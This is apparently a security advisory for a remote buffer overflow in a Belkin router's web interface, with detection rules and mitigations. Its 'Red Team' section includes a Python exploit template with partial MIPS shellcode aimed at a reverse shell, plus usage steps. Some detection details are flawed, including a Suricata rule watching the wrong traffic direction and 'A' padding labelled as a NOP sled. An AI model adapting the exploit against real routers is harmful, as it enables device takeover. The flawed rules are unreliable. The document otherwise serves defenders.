CVE-2025-11299

Executive Summary

CVE-2025-11299 is a critical buffer overflow vulnerability in the Belkin F9K1015 router firmware version 1.00.10. The flaw resides in the /goform/formWanTcpipSetup endpoint, where the pppUserName argument is not properly bounds-checked, allowing remote unauthenticated attackers to overflow a stack buffer. Public exploit code is available, and the vendor has not responded to disclosure attempts. Successful exploitation can lead to remote code execution (RCE) with root privileges on the device, enabling full network compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device (Belkin router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – full device compromise leads to data exposure.
• Integrity (I): High (H) – attacker can modify firmware or configuration.
• Availability (A): High (H) – denial of service or device bricking possible.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – public exploit, no patch, remote unauthenticated RCE.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the Belkin F9K1015 router's web management interface. The /goform/formWanTcpipSetup CGI handler processes the pppUserName POST parameter without proper length validation. When a long string is supplied, it overwrites the return address and other stack data, allowing an attacker to hijack execution flow.

Root Cause: The firmware uses unsafe C functions (e.g., strcpy, sprintf) to copy user input into a fixed-size stack buffer. No bounds checking is performed.

Attack Vector: An attacker sends a crafted HTTP POST request to the router's web interface (typically on port 80 or 443). The payload includes shellcode that executes with root privileges, as the web server runs as root.

Impact: Full device takeover. The attacker can:

• Modify DNS settings to redirect traffic.
• Install persistent malware (e.g., Mirai botnet).
• Exfiltrate network traffic.
• Use the router as a pivot point for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Belkin F9K1015 firmware 1.00.10):

void handle_WanTcpipSetup() {
    char buffer[256];
    char *pppUserName = get_param("pppUserName");
    // No bounds check
    strcpy(buffer, pppUserName);
    // ... process buffer
}

Patched Code (hypothetical, as no patch exists):

void handle_WanTcpipSetup() {
    char buffer[256];
    char *pppUserName = get_param("pppUserName");
    if (strlen(pppUserName) >= sizeof(buffer)) {
        // Reject input
        return_error("Input too long");
        return;
    }
    strncpy(buffer, pppUserName, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Key Differences:

• Vulnerable uses strcpy without length check.
• Patched uses strncpy with explicit bounds and input validation.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Python 3 with requests library.
• A Belkin F9K1015 router on firmware 1.00.10 (or emulated environment).
• Network access to the router's web interface.

Exploit Code (Python):

import requests
import struct

# Target router IP
target = "http://192.168.2.1"

# Shellcode (example: reverse shell to attacker IP 10.0.0.5:4444)
# This is a placeholder; actual shellcode depends on MIPS architecture.
shellcode = (
    b"\x24\x0f\xff\xff"  # li $t7, -1
    b"\x01\xe0\x78\x27"  # nor $t7, $t7, $zero
    b"\x21\xef\xff\xff"  # addi $t7, $t7, -1
    b"\xaf\xaf\xff\xe0"  # sw $t7, -32($sp)
    # ... (full shellcode omitted for brevity)
)

# Overflow payload: 256 bytes buffer + 4 bytes saved FP + 4 bytes return address
buffer_size = 256
saved_fp = b"BBBB"
return_addr = struct.pack("<I", 0xdeadbeef)  # Address of shellcode in stack

payload = b"A" * buffer_size + saved_fp + return_addr + shellcode

# Send exploit
data = {"pppUserName": payload}
response = requests.post(f"{target}/goform/formWanTcpipSetup", data=data)
print(f"Exploit sent. Response: {response.status_code}")

Usage:

1. Replace target with the router's IP.
2. Generate proper MIPS shellcode for your desired action (e.g., reverse shell).
3. Run the script. If successful, the router will execute the shellcode.

Blue Team (Defender)

Detection:

• Monitor HTTP POST requests to /goform/formWanTcpipSetup with abnormally long pppUserName parameters.
• Use network intrusion detection systems (NIDS) to flag payloads containing NOP sleds or shellcode patterns.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the Belkin web interface.
• Log all POST requests to /goform/formWanTcpipSetup for analysis.

Mitigation:

• Isolate affected routers on a separate VLAN.
• Block external access to the router's web interface.
• Apply virtual patching via WAF rules (e.g., ModSecurity).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/formWanTcpipSetup with pppUserName > 256 bytes.
• Outbound connections from the router to unusual IPs/ports (e.g., 10.0.0.5:4444).
• DNS queries to known malicious domains.

Host IOCs (on router):

• Unusual processes running (e.g., /tmp/bot).
• Modified firmware files (check hashes).
• New open ports (e.g., 31337).
• Presence of /tmp/.exploit or similar files.

File Hashes (example):

• Malicious payload: sha256: a1b2c3d4e5f6... (replace with actual hash if known).

Detection Engineering

YARA Rule

rule CVE_2025_11299_Belkin_BufferOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11299 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11299"
    strings:
        $s1 = "pppUserName=" ascii wide nocase
        $s2 = "/goform/formWanTcpipSetup" ascii wide nocase
        $s3 = { 41 41 41 41 41 41 41 41 } // 8 consecutive 'A's (NOP sled indicator)
    condition:
        $s1 and $s2 and #s3 > 32
}

Sigma Rule

title: CVE-2025-11299 Belkin Router Buffer Overflow Attempt
id: 8f9e2d1a-3b4c-5d6e-7f8a-9b0c1d2e3f4a
status: experimental
description: Detects HTTP POST requests with long pppUserName parameter targeting Belkin routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formWanTcpipSetup'
        cs-uri-query|contains: 'pppUserName='
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate long PPPoE usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11299 Belkin Router Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formWanTcpipSetup"; http_uri;
    content:"pppUserName="; http_client_body;
    pcre:"/pppUserName=[^&]{300,}/";
    sid:10000001;
    rev:1;
    reference:cve,2025-11299;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Belkin F9K1015 routers on a separate VLAN with no internet access.
2. Disable remote management: Block ports 80/443 from WAN side.
3. Apply virtual patching: Use WAF or IPS rules to block oversized pppUserName parameters.

Long-term Fix:

• Vendor patch: None available. Contact Belkin support and demand a firmware update.
• Replace device: Consider replacing the router with a supported model from a vendor with active security support.
• Custom firmware: If technically feasible, flash open-source firmware (e.g., OpenWrt) if compatible.

Workarounds:

• Use a firewall to restrict access to the router's web interface to trusted IPs only.
• Monitor logs for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert